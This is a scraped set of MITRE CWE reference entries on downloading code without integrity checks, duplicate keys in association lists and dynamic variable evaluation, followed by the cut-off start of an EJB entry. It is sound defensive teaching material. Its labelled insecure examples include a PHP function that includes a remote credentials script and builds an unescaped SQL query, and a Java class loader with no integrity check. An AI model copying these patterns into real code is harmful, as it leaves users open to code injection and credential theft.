updated Potential_Mitigations, Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-494: Download of Code Without Integrity Check

Weakness ID: 494
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
+ Extended Description
An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1020Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability
Confidentiality
Other

Technical Impact: Execute Unauthorized Code or Commands; Alter Execution Logic; Other

Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example loads an external class from a local subdirectory.

(bad code)
Example Language: Java 
URL[] classURLs= new URL[]{
new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

Example 2

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

(bad code)
Example Language: PHP 
//assume the password is already encrypted, avoiding CWE-312

function authenticate($username,$password){

include("http://external.example.com/dbInfo.php");

//dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = 'Select * from users where username='.$username.' And password='.$password;
$result = mysql_query($query);

if(mysql_numrows($result) == 1){
mysql_close();
return true;
}
else{
mysql_close();
return false;
}

}

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.

+ Observed Examples
ReferenceDescription
Satellite phone does not validate its firmware image.
Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494).
OS does not verify authenticity of its own updates.
online poker client does not verify authenticity of its own updates.
anti-virus product does not verify automatic updates for itself.
VOIP phone downloads applications from web sites without verifying integrity.
+ Potential Mitigations

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.
Note: This is only a partial solution since it will not prevent your code from being modified on the hosting site or in transit.

Phases: Architecture and Design; Operation

Encrypt the code with a reliable encryption scheme before transmitting.

This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.

  • When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.
  • Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1354OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPInvoking untrusted mobile code
The CERT Oracle Secure Coding Standard for Java (2011)SEC06-JDo not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
Software Fault PatternsSFP27Tainted input to environment
+ References
[REF-454] Microsoft. "Introduction to Code Signing". <http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx>.
[REF-456] Apple. "Code Signing Guide". Apple Developer Connection. 2008-11-19. <https://web.archive.org/web/20080724215143/http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html>. URL validated: 2023-04-07.
[REF-457] Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges". <http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 18: The Sins of Mobile Code." Page 267. McGraw-Hill. 2010.
[REF-459] Johannes Ullrich. "Top 25 Series - Rank 20 - Download of Code Without Integrity Check". SANS Software Security Institute. 2010-04-05. <https://www.sans.org/blog/top-25-series-rank-20-download-of-code-without-integrity-check/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Name, Other_Notes, Potential_Mitigations, References, Relationships, Research_Gaps, Type
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-07-27CWE Content TeamMITRE
updated Description, Observed_Examples, Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2010-04-05CWE Content TeamMITRE
updated Applicable_Platforms
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, References
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Demonstrative_Examples
2021-03-15CWE Content TeamMITRE
updated References, Related_Attack_Patterns
2021-07-20CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated References, Related_Attack_Patterns
2023-01-31CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Mobile Code: Invoking Untrusted Mobile Code
2009-01-12Download of Untrusted Mobile Code Without Integrity Check

CWE-462: Duplicate Key in Associative List (Alist)

Weakness ID: 462
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.
+ Extended Description
A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.694Use of Multiple Resources with Duplicate Identifier
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

The following code adds data to a list and then attempts to sort the data.

(bad code)
Example Language: Python 
alist = []
while (foo()): #now assume there is a string data with a key basename
queue.append(basename,data)
queue.sort()

Since basename is not necessarily unique, this may not sort how one would like it to be.

+ Potential Mitigations

Phase: Architecture and Design

Use a hash table instead of an alist.

Phase: Architecture and Design

Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.744CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.878CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPDuplicate key in associative list (alist)
CERT C Secure CodingENV02-CBeware of multiple environment variables with the same effective name
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-627: Dynamic Variable Evaluation

Weakness ID: 627
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.
+ Extended Description
The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.
+ Alternate Terms
Dynamic evaluation
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.914Improper Control of Dynamically-Identified Variables
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.183Permissive List of Allowed Inputs
+ Background Details
Many interpreted languages support the use of a "$$varname" construct to set a variable whose name is specified by the $varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as $$funcname(arg1, arg2).
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Undetermined Prevalence)

Perl (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Modify Application Data; Execute Unauthorized Code or Commands

An attacker could gain unauthorized access to internal program variables and execute arbitrary code.
+ Observed Examples
ReferenceDescription
Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal.
Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS.
Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion.
Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users.
+ Potential Mitigations

Phase: Implementation

Strategy: Refactoring

Refactor the code to avoid dynamic variable evaluation whenever possible.

Phase: Implementation

Strategy: Input Validation

Use only allowlists of acceptable variable or function names.

Phase: Implementation

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register_globals.
+ References
[REF-517] Steve Christey. "Dynamic Evaluation Vulnerabilities in PHP applications". Full-Disclosure. 2006-05-03. <https://seclists.org/fulldisclosure/2006/May/35>. URL validated: 2023-04-07.
[REF-518] Shaun Clowes. "A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications". <https://securereality.com.au/study-in-scarlett/>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2008-10-14CWE Content TeamMITRE
updated Background_Details, Description
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Potential_Mitigations, Relationships, Weakness_Ordinalities
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated References
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-575: EJB Bad Practices: Use of AWT Swing

Weakness ID: 575
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.
+ Extended Description
The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.695Use of Low-Level Functionality
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
